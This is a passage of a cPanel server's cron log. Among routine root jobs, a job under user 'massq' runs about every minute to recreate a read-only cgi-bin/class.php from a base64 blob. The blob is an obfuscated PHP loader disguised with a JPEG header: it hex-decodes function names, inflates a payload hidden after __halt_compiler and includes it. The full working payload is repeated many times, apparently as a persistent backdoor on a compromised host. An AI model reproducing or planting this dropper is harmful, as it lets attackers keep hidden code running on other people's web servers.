&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:25:01 server CROND[5279]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 15 04:25:01 server CROND[5281]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 04:25:01 server CROND[5280]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 04:26:01 server CROND[5608]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:27:01 server CROND[5869]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:27:01 server CROND[5870]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 04:28:01 server CROND[6121]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:29:01 server CROND[6382]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:30:01 server CROND[6657]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 04:30:01 server CROND[6660]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 04:30:01 server CROND[6661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 04:30:02 server CROND[6677]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Nov 15 04:30:02 server CROND[6678]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 15 04:30:02 server CROND[6680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:31:01 server CROND[7083]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:32:01 server CROND[7337]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:33:01 server CROND[7635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:34:01 server CROND[7898]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:35:01 server CROND[8165]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 04:35:01 server CROND[8166]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 04:35:01 server CROND[8167]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:35:01 server CROND[8168]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 04:35:01 server CROND[8170]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 04:36:01 server CROND[8584]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:37:01 server CROND[8996]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
